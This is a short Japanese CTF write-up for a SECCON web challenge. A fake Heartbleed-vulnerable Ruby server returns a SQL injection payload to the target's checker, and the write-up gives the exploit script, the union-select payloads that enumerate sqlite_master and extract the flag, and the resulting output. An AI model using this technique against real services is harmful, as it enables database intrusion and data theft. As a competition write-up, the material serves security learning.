Bleeding "Heartbleed" Test Web (Web 300pts)
任意のサイトにheartbleedの脆弱性の有無を行えるサイトが与えられる。
メッセージの特徴から、https://gist.github.com/sh1n0b1/10100394 のスクリプトを利用してチェックをしていることが分かる。 また、HTMLのコメントからDBに結果を追加していることが分かる。
そこで、チェックのスクリプトからHeartbleed脆弱性がありと判断されるようなサーバーを作り、送信する文字列でSQLインジェクションを行なった。
1 require 'socket'
2 Thread.new do
3 TCPServer.open '0.0.0.0', '8080' do |socket|
4 s = socket.accept
5 s.print [22,0,2].pack('Cnn')+ "\x0E\x0E"
6 s.flush
7 s.print [24,0,ARGV[0].size].pack('Cnn')+ ARGV[0]
8 s.flush
9 end
10 end
11 sleep 0.5
12 system "curl 'http://bleeding.pwn.seccon.jp/?ip=133.242.155.176&port=8080'"
$ ruby heartbleed.rb "' union select sql from sqlite_master limit 1 offset 1; -- " ... <!-- DEBUG: INSERT OK. TIME=CREATE TABLE ssFLGss ( flag ) --> ... $ ruby heartbleed.rb "' union select flag from ssFlGss; -- " ... <!-- DEBUG: INSERT OK. TIME=SECCON{IknewIt!SQLiteAgain!!!} --> ...